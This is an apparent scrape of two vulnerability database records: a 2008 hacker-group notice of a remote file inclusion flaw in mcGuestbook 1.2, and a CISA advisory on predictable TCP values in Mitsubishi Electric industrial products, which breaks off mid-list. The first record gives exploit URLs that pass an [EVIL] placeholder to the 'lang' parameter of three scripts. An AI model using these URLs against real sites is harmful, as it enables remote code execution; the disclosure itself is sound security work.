{"id": "SECURITYVULNS:DOC:20082", "bulletinFamily": "software", "title": "mcGuestbook 1.2 (lang) Remote File Inclusion Vulnerability", "description": "\r\n\r\nhi\r\n######################################################################\r\n mcGuestbook 1.2 (lang) Remote File Inclusion Vulnerability\r\n######################################################################\r\n[~] Found : Ghost Hacker [ R-H TeaM ] |, .-. .-. ,|\r\n[~] HOME : www.Real-Hack.net | )(_o/ \o_)( | \r\n[~] Email : Ghost-r00t@Hotmail.com |/ /\ \|\r\n[~] Script : mcGuestbook 1.2\r\n[~] Download Script : http://www.phpbank.net/admin/download.php?id=155\r\n############# [ I love the Messenger of Allah Mohammad ] #############\r\n[~] Error ( admin.php + ecrire.php + lire.php ) :\r\ninclude "$lang";\r\n\r\n[~] Exploit :\r\nhttp://xxxx/[Path]/ecrire.php?lang=[EVIL]\r\nhttp://xxxx/[Path]/admin.php?lang=[EVIL]\r\nhttp://xxxx/[Path]/lire.php?lang=[EVIL]\r\n############# [ I love the Messenger of Allah Mohammad ] #############\r\n[~] Gootz :\r\nPROTO & QaTaR BoeZ TeaM & x.CJP.x & Dmar al3noOoz & 4Bo3tB ..\r\nMr.JUVE & Mr.hope & LeGeNd HaCkEr ..\r\nAll Member Real Hack And All My Friends ..\r\n######################################################################\r\n Real Hack Team ( R-H ) ..\r\n######################################################################\r\n\r\nsee y0u ..\r\n_________________________________________________________________\r\nExpress yourself instantly with MSN Messenger! Download today it's FREE!\r\nhttp://messenger.msn.click-url.com/go/onm00200471ave/direct/01/", "published": "2008-06-26T00:00:00", "modified": "2008-06-26T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:20082", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:26", "edition": 1, "viewCount": 31, "enchantments": {"score": {"value": 6.1, "vector": "NONE", "modified": "2018-08-31T11:10:26", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2008-7273", "CVE-2014-2595", "CVE-2015-9286", "CVE-2008-7272"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:32652", "SECURITYVULNS:DOC:32654", "SECURITYVULNS:DOC:32653", "SECURITYVULNS:DOC:32656", "SECURITYVULNS:VULN:14755", "SECURITYVULNS:VULN:14753", "SECURITYVULNS:DOC:32651", "SECURITYVULNS:VULN:14720", "SECURITYVULNS:DOC:32660", "SECURITYVULNS:DOC:32658"]}], "modified": "2018-08-31T11:10:26", "rev": 2}, "vulnersScore": 6.1}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}

{"ics": [{"id": "ICSA-20-245-01", "hash": "e2a848fb9677df6563310462cb84b101", "type": "ics", "bulletinFamily": "info", "title": "Mitsubishi Electric Multiple Products (Update C)", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 7.3**\n * **ATTENTION: **Exploitable remotely/low attack complexity\n * **Vendor:** Mitsubishi Electric\n * **Equipment: **Multiple Products\n * **Vulnerability: **Predictable Exact Value from Previous Values\n\n## 2\\. UPDATE INFORMATION\n\nThis updated advisory is a follow-up to the advisory update titled ICSA-20-245-01 Mitsubishi Electric Multiple Products (Update B) that was published May 18, 2021, to the ICS webpage on us-cert.cisa.gov.\n\n## 3\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could be used to hijack TCP sessions and allow remote command execution.\n\n## 4\\. TECHNICAL DETAILS\n\n### 4.1 AFFECTED PRODUCTS\n\n * QJ71MES96, all versions\n * QJ71WS96, all versions\n * Q06CCPU-V, all versions\n * Q24DHCCPU-V, all versions\n * Q24DHCCPU-VG, all versions\n * R12CCPU-V, Version 13 and prior\n * RD55UP06-V, Version 09 and prior\n * RD55UP12-V, Version 01\n * RJ71GN11-T2, Version 11 and prior\n\n**\\--------- Begin Update C Part 1 of 2 ---------**\n\n * RD78Gn(n=4,8,16,32,64), Version 14 and prior\n * RD78GHV, Version 14 and prior\n * RD78GHW, Version 14 and prior\n\n**\\--------- End Update C Part 1 of 2 ---------**\n\n * NZ2FT-MT, all versions\n * NZ2FT-EIP, all versions\n * Q03UDECPU, the first 5 digits of serial number 22081 and prior\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22081 and prior\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22031 and prior\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22031 and prior\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22051 and prior\n * L26CPU-(P)BT, the first 5 digits of serial number 22051 and prior\n * RnCPU(n=00/01/02), Version 18 and prior\n * RnCPU(n=04/08/16/32/120), Version 50 and prior\n * RnENCPU(n=04/08/16/32/120), Version 50 and prior\n * RnSFCPU (n=08/16/32/120), Version 22 and prior\n * RnPCPU(n=08/16/32/120), Version 24 and prior\n * RnPSFCPU(n=08/16/32/120), Version 05 and prior\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later: Version 1.210 and prior\n * Case2: Serial number 179**** and prior: Version 1.070 and prior\n * FX5UC-32M*/**-TS, Version 1.210 and prior\n * FX5UJ-**M*/**, Version 1.000\n * FX5-ENET, Version 1.002 and prior\n * FX5-ENET/IP, Version 1.002 and prior\n * FX3U-ENET-ADP, Version 1.22 and prior\n * FX3GE-**M*/**, the first 3 digits of serial number 20X and prior\n * FX3U-ENET, Version 1.14 and prior\n * FX3U-ENET-L, Version 1.14 and prior\n * FX3U-ENET-P502, Version 1.14 and prior\n * FX5-CCLGN-MS, Version 1.000\n * IU1-1M20-D, all versions\n * LE7-40GU-L, all versions\n * GOT2000 Series GT21 Model, all versions\n * GS Series, all versions\n * GOT1000 Series GT14 Model, all versions\n * FR-A800-E Series, production date December 2020 and prior\n * FR-F800-E Series, production date December 2020 and prior\n * FR-A8NCG, Production date August 2020 and prior\n * FR-E800-EPA Series, Production date July 2020 and prior\n * FR-E800-EPB Series, Production date July 2020 and prior\n * Conveyor Tracking Application APR-nTR3FH, APR-nTR6FH, APR-nTR12FH, APR-nTR20FH(n=1,2), all versions (Discontinued product)\n * MR-JE-C, all versions\n * MR-J4-TM, all versions\n * RJ71EN71, Version 48 and prior\n * QJ71E71-100, the first 5 digits of serial number 21092 and prior\n * LJ71E71-100, the first 5 digits of serial number 21092 and prior\n * QJ71MT91, the first 5 digits of serial number 20082 and prior\n * NZ2GACP620-60, Version 1.03D and prior\n * NZ2GACP620-300, Version 1.03D and prior\n * GT25-J71GN13-T2, Version 03 and prior\n\n### 4.2 VULNERABILITY OVERVIEW\n\n#### 4.2.1 [PREDICTABLE EXACT VALUE FROM PREVIOUS VALUES CWE-342](<https://cwe.mitre.org/data/definitions/342.html>)\n\nThe affected products are vulnerable to impersonation of a legitimate device by a malicious actor, which may allow an attacker to remotely execute arbitrary commands.\n\n[CVE-2020-16226](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n### 4.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Critical Manufacturing\n * **COUNTRIES/AREAS DEPLOYED:** Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Japan\n\n### 4.4 RESEARCHER\n\nTa-Lun Yen of TXOne IoT/ICS Security Research Labs of Trend Micro, working with Trend Micro\u2019s Zero Day Initiative, reported this vulnerability to CISA.\n\n## 5\\. MITIGATIONS\n\nMitsubishi Electric recommends that users take the following mitigation measures to minimize the risk of exploiting this vulnerability:\n\n * Use a firewall or VPN, etc., to prevent unauthorized access when Internet access is required.\n * Use within a LAN and ensure that they are not accessible from untrusted networks and hosts.\n * Install an antivirus software in your computer to access the product.\n\nMitsubishi also recommends users update the following products to their respective versions: \n\n * R12CCPU-V, Version 14 or later\n * RD55UP06-V, Version 10 or later\n * RD55UP12-V, Version 02 or later\n * RJ71GN11-T2, Version 12 or later\n * Q03UDECPU, the first 5 digits of serial number 22082 or later\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22082 or later\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22032 or later\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22032 or later\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22052 or later\n * L26CPU-(P)BT, the first 5 digits of serial number 22052 or later\n * RnSFCPU (n=08/16/32/120), Version 23 or later\n * RnPSFCPU(n=08/16/32/120), Version 06 or later\n * RnPCPU(n=08/16/32/120), Version 25 or later\n * RnCPU(n=00/01/02), Version 18 and prior: Update to Version 19 or later\n * RnCPU(n=04/08/16/32/120), Version 50 and prior. Please update to Version 51 or later\n * RnENCPU(n=04/08/16/32/120), Versions 50 and prior: Update to Version 51 or later\n * FX5U(C)-**M*/**\n * Case1: Serial number 17X**** or later, Version 1.210 and prior: Update to Version 1.211 or later\n * Case2: Serial number 179**** and prior, Version 1.070 and prior: Update to Version 1.071 or later\n * FX5UC-32M*/**-TS, Version 1.210 and prior: Update to Version 1.211 or later\n * FX5UJ-**M*/**, Version 1.000: Update to Version 1.001 or later\n * FX5-ENET, Version 1.003 or later\n * FX5-ENET/IP, Version 1.003 or later\n * FX3U-ENET-ADP, Version 1.24 or later\n * FX3GE-**M*/**, the first 3 digits of serial number 20Y or later\n * FX3U-ENET, Version 1.16 or later\n * FX3U-ENET-L, Version 1.16 or later\n * FX3U-ENET-P502, Version 1.16 or later\n * FX5-CCLGN-MS, Version 1.001 or later\n * FR-A800-E Series, production date January 2021 or later\n * FR-F800-E Series, production date January 2021 or later\n * FR-A8NCG, production date September 2020 or later\n * FR-E800-EPA Series, production date August 2020 or later\n * FR-E800-EPB Series, production date August 2020 or later\n * RJ71EN71, Version 49 or later\n * QJ71E71-100, the first 5 digits of serial number 22102 or later\n * LJ71E71-100, the first 5 digits of serial number 22102 or later\n * QJ71MT91, the first 5 digits of serial number 22102 or later\n * NZ2GACP620-60, Version 1.04E or later\n * NZ2GACP620-300, Version 1.04E or later\n * GT25-J71GN13-T2, Version 04 or later\n\n**\\--------- Begin Update C Part 2 of 2 ---------**\n\n * RD78Gn(n=4,8,16,32,64), Version 16 or later\n * RD78GHV, Version 16 or later\n * RD78GHW, Version 16 or later\n\n**\\--------- End Update C Part 2 of 2 ---------**\n\nPlease contact a [Mitsubishi Electric representative](<https://www.mitsubishielectric.com/fa/support/index.html>) for more information.\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are [not accessible from the Internet](<https://us-cert.cisa.gov/ics/alerts/ICS-ALERT-10-301-01>).\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nCISA also provides a section for [control systems security recommended practices](<https://us-cert.cisa.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.cisa.gov](<https://us-cert.cisa.gov/>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.cisa.gov](<https://us-cert.cisa.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://us-cert.cisa.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01>); we'd welcome your feedback.\n", "published": "2021-09-09T00:00:00", "modified": "2021-09-09T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://www.us-cert.gov/ics/advisories/icsa-20-245-01", "reporter": "Industrial Control Systems Cyber Emergency Response Team", "references": ["https://twitter.com/share?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.facebook.com/sharer.php?u=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "http://www.addthis.com/bookmark.php?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://cwe.mitre.org/data/definitions/342.html", "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226", "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "https://www.mitsubishielectric.com/fa/support/index.html", "https://us-cert.cisa.gov/ics/alerts/ICS-ALERT-10-301-01", "https://us-cert.cisa.gov/ics/recommended-practices", "https://us-cert.cisa.gov/", "https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf", "https://us-cert.cisa.gov/ics", "https://us-cert.cisa.gov/ics/tips/ICS-TIP-12-146-01B", "https://www.dhs.gov/privacy-policy", "https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01", "http://twitter.com/icscert", "https://www.dhs.gov", "https://www.dhs.gov/freedom-information-act-foia", "https://www.dhs.gov/homeland-security-no-fear-act-reporting", "https://www.dhs.gov/plain-writing-dhs", "https://www.dhs.gov/plug-information", "https://www.oig.dhs.gov/", "https://www.whitehouse.gov/", "https://www.usa.gov/", "https://www.dhs.gov/"], "cvelist": ["CVE-2020-16226"], "immutableFields": [], "lastseen": "2021-09-09T16:02:08", "history": [{"bulletin": {"id": "ICSA-20-245-01", "hash": "fbad076daca10e745e51f3d767c142577b5e6b46c05bc29a5ea7f4ac4ce986a4", "type": "ics", "bulletinFamily": "info", "title": "Mitsubishi Electric Multiple Products", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 7.3**\n * **ATTENTION: **Exploitable remotely/low skill level to exploit\n * **Vendor:** Mitsubishi Electric\n * **Equipment: **Multiple Products\n * **Vulnerability: **Predictable Exact Value from Previous Values\n\n## 2\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could be used to hijack TCP sessions and allow remote command execution.\n\n## 3\\. TECHNICAL DETAILS\n\n### 3.1 AFFECTED PRODUCTS\n\n * QJ71MES96, all versions\n * QJ71WS96, all versions\n * Q06CCPU-V, all versions\n * Q24DHCCPU-V, all versions\n * Q24DHCCPU-VG, all versions\n * R12CCPU-V, all versions\n * RD55UP06-V, all versions\n * RD55UP12-V, all versions\n * RJ71GN11-T2, all versions\n * RJ71EN71, all versions\n * QJ71E71-100, all versions\n * LJ71E71-100, all versions\n * QJ71MT91, all versions\n * RD78Gn(n=4,8,16,32,64), all versions\n * RD78GHV, all versions\n * RD78GHW, all versions\n * NZ2GACP620-60, all versions\n * NZ2GACP620-300, all versions\n * NZ2FT-MT, all versions\n * NZ2FT-EIP, all versions\n * Q03UDECPU, the first 5 digits of serial number 22081 and prior\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22081 and prior\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22031 and prior\n * QnUDPVCPU(n=04/06/13/2), the first 5 digits of serial number 22031 and prior\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22051 and prior\n * L26CPU-(P)BT, the first 5 digits of serial number 22051 and prior\n * RnCPU(n=00/01/02), Version 18 and prior\n * RnCPU(n=04/08/16/32/120), Version 50 and prior\n * RnENCPU(n=04/08/16/32/120), Version 50 and prior\n * RnSFCPU (n=08/16/32/120), all versions\n * RnPCPU(n=08/16/32/120), all versions\n * RnPSFCPU(n=08/16/32/120), all versions\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later: Version 1.210 and prior\n * Case2: Serial number 179**** and prior: Version 1.070 and prior\n * FX5UC-32M*/**-TS, Version 1.210 and prior\n * FX5UJ-**M*/**, Version 1.000\n * FX5-ENET, all versions\n * FX5-ENET/IP, all versions\n * FX3U-ENET-ADP, all versions\n * FX3GE-**M*/**, all versions\n * FX3U-ENET, all versions\n * FX3U-ENET-L, all versions\n * FX3U-ENET-P502, all versions\n * FX5-CCLGN-MS, all versions\n * IU1-1M20-D, all versions\n * LE7-40GU-L, all versions\n * GOT2000 Series GT21 Model, all versions\n * GS Series, all versions\n * GOT1000 Series GT14 Model, all versions\n * GT25-J71GN13-T2, all versions\n * FR-A800-E Series, all versions\n * FR-F800-E Series, all versions\n * FR-A8NCG, Production date August 2020 and prior\n * FR-E800-EPA Series, Production date July 2020 and prior\n * FR-E800-EPB Series, Production date July 2020 and prior\n * Conveyor Tracking Application APR-nTR3FH, APR-nTR6FH, APR-nTR12FH, APR-nTR20FH(n=1,2), all versions (Discontinued product)\n * MR-JE-C, all versions\n * MR-J4-TM, all versions\n\n### 3.2 VULNERABILITY OVERVIEW\n\n#### 3.2.1 [PREDICTABLE EXACT VALUE FROM PREVIOUS VALUES CWE-342](<https://cwe.mitre.org/data/definitions/342.html>)\n\nThe affected products are vulnerable to impersonation of a legitimate device by a malicious actor, which may allow an attacker to remotely execute arbitrary commands.\n\n[CVE-2020-16226](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n### 3.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Critical Manufacturing\n * **COUNTRIES/AREAS DEPLOYED:** Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Japan\n\n### 3.4 RESEARCHER\n\nTa-Lun Yen of TXOne IoT/ICS Security Research Labs of Trend Micro, working with Trend Micro\u2019s Zero Day Initiative, reported this vulnerability to CISA.\n\n## 4\\. MITIGATIONS\n\nMitsubishi Electric recommends that users take the following mitigation measures to minimize the risk of exploiting this vulnerability:\n\n * Use a firewall or VPN, etc. to prevent unauthorized access when Internet access is required.\n * Use within a LAN and ensure that they are not accessible from untrusted networks and hosts.\n * Install an antivirus software in your personal computer that can access the product.\n * RnCPU(n=00/01/02), Version 18 and prior: Update to Version 19 or later.\n * RnCPU(n=04/08/16/32/120), Version 50 and prior. Please update to Version 51 or later.\n * RnENCPU(n=04/08/16/32/120), Versions 50 and prior: Update to Version 51 or later.\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later, Version 1.210 and prior: Update to Version 1.211 or later.\n * Case2: Serial number 179**** and prior, Version 1.070 and prior: Update to Version 1.071 or later.\n * FX5UC-32M*/**-TS, Version 1.210 and prior: Update to Version 1.211 or later.\n * FX5UJ-**M*/**, Version 1.000: Update to Version 1.001 or later.\n\nPlease contact Mitsubishi Electric for more information.\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are [not accessible from the Internet](<https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01>).\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nCISA also provides a section for [control systems security recommended practices](<https://www.us-cert.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.gov](<https://www.us-cert.gov/ics>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.gov](<https://www.us-cert.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://www.us-cert.gov/ics \nor incident reporting: https://www.us-cert.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\nWas this document helpful? Yes | Somewhat | No\n", "published": "2020-09-01T00:00:00", "modified": "2020-09-01T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.us-cert.gov//ics/advisories/icsa-20-245-01", "reporter": "Industrial Control Systems Cyber Emergency Response Team", "references": ["https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01", "https://www.dhs.gov/homeland-security-no-fear-act-reporting", "https://cwe.mitre.org/data/definitions/342.html", "https://www.dhs.gov/plug-information", "https://www.dhs.gov/privacy-policy", "https://www.us-cert.gov/ics/recommended-practices", "https://www.whitehouse.gov/", "https://www.dhs.gov/plain-writing-dhs", "https://www.facebook.com/sharer.php?u=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.oig.dhs.gov/", "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "/forms/feedback?helpful=somewhat&document=ICSA-20-245-01: Mitsubishi Electric Multiple Products&trackingNumber=&url=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01&site_name=US-CERT", "https://www.dhs.gov/freedom-information-act-foia", "/forms/feedback?helpful=no&document=ICSA-20-245-01: Mitsubishi Electric Multiple Products&trackingNumber=&url=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01&site_name=US-CERT", "http://twitter.com/icscert", "http://www.addthis.com/bookmark.php?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B", "https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf", "https://www.dhs.gov", "/forms/feedback?helpful=yes&document=ICSA-20-245-01: Mitsubishi Electric Multiple Products&trackingNumber=&url=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01&site_name=US-CERT", "https://www.usa.gov/", "https://www.dhs.gov/", "https://twitter.com/share?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226", "https://www.us-cert.gov/ics", "https://www.us-cert.gov/ics"], "cvelist": ["CVE-2020-16226"], "immutableFields": [], "lastseen": "2020-09-01T19:36:41", "history": [], "viewCount": 4, "enchantments": {"dependencies": {"modified": "2020-09-01T19:36:41", "references": [{"idList": ["ZDI-20-1207"], "type": "zdi"}, {"idList": ["ICSA-19-295-01", "ICSA-12-354-02", "ICSA-19-036-02", "ICSMA-19-029-01", "ICSA-13-340-01", "ICSA-20-014-04", "ICSA-14-205-01", "ICSA-16-105-01", "ICSA-12-227-01", "ICSA-19-099-01", "ICSA-18-324-01", "ICSMA-19-318-01", "ICSA-18-198-03", "ICSA-13-276-01", "ICSA-18-025-02B", "ICSA-19-106-01", "ICSA-10-070-01A", "ICSA-18-310-02", "ICSA-18-023-02", "ICSA-19-232-01", "ICSA-18-345-02", "ICSA-18-030-01", "ICSA-18-198-02", "ICSA-11-298-01A", "ICSA-18-114-02", "ICSA-17-026-02A", "ICSA-11-243-01", "ICSA-17-089-01", "ICSA-10-238-01B", "ICSA-13-254-01", "ICSA-14-303-01", "ICSA-17-220-01", "ICSA-18-324-02", "ICSA-16-147-01", "ICSA-17-234-01", "ICSA-11-173-01", "ICSA-12-249-01", "ICSA-16-357-02", "ICSA-13-170-01", "ICSMA-17-009-01A", "ICSA-20-042-11", "ICSA-17-012-01", "ICSA-17-192-05", "ICSA-15-211-01", "ICSA-11-362-01", "ICSA-20-042-02", "ICSMA-18-058-02", "ICSA-18-247-01", "ICSA-19-213-01", "ICSA-16-040-01", "ICSA-12-138-01", "ICSA-19-351-02", "ICSMA-18-219-02", "ICSA-19-344-07", "ICSA-14-329-01", "ICSA-10-322-02A", "ICSMA-20-023-01", "ICSA-17-061-03", "ICSA-16-075-01", "ICSMA-20-170-06", "ICSA-17-208-03", "ICSA-16-278-02", "ICSA-18-212-01", "ICSA-17-243-03", "ICSA-18-305-03", "ICSA-11-340-01", "ICSA-19-318-05", "ICSA-17-178-01", "ICSA-19-183-02", "ICSA2012601", "ICSMA-16-306-01", "ICSA2012602", "ICSA-17-024-01", "ICSA-20-219-01", "ICSA-18-165-01", "ICSMA-18-277-02", "ICSA-19-225-01", "ICSA-12-214-01", "ICSA-19-134-05", "ICSA-313-01", "ICSA-12-305-01", "ICSA-18-172-01", "ICSA-16-196-02", "ICSA-20-077-01", "ICSA-11-161-01", "ICSA-20-252-01", "ICSA-15-181-02A", "ICSA-17-278-02", "ICSA-19-017-02", "ICSA-18-270-04", "ICSA-18-233-01", "ICSA-11-094-01", "ICSA-12-039-01", "ICSA-16-091-01", "ICSA-17-094-04", "ICSA-12-258-01", "ICSA-11-335-01", "ICSA-15-167-01", "ICSA-12-146-01A", "ICSA-20-210-01"], "type": "ics"}, {"idList": ["CVE-2020-16226"], "type": "cve"}], "rev": 2}, "score": {"modified": "2020-09-01T19:36:41", "rev": 2, "value": 6.5, "vector": "NONE"}}, "objectVersion": "1.4"}, "lastseen": "2020-09-01T19:36:41", "differentElements": ["cvss"], "edition": 1}, {"bulletin": {"id": "ICSA-20-245-01", "hash": "6387cdb7593c26cb82dcc0940b5cd0f7760baefa8db934a2d62fc38f405f5aa1", "type": "ics", "bulletinFamily": "info", "title": "Mitsubishi Electric Multiple Products", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 7.3**\n * **ATTENTION: **Exploitable remotely/low skill level to exploit\n * **Vendor:** Mitsubishi Electric\n * **Equipment: **Multiple Products\n * **Vulnerability: **Predictable Exact Value from Previous Values\n\n## 2\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could be used to hijack TCP sessions and allow remote command execution.\n\n## 3\\. TECHNICAL DETAILS\n\n### 3.1 AFFECTED PRODUCTS\n\n * QJ71MES96, all versions\n * QJ71WS96, all versions\n * Q06CCPU-V, all versions\n * Q24DHCCPU-V, all versions\n * Q24DHCCPU-VG, all versions\n * R12CCPU-V, all versions\n * RD55UP06-V, all versions\n * RD55UP12-V, all versions\n * RJ71GN11-T2, all versions\n * RJ71EN71, all versions\n * QJ71E71-100, all versions\n * LJ71E71-100, all versions\n * QJ71MT91, all versions\n * RD78Gn(n=4,8,16,32,64), all versions\n * RD78GHV, all versions\n * RD78GHW, all versions\n * NZ2GACP620-60, all versions\n * NZ2GACP620-300, all versions\n * NZ2FT-MT, all versions\n * NZ2FT-EIP, all versions\n * Q03UDECPU, the first 5 digits of serial number 22081 and prior\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22081 and prior\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22031 and 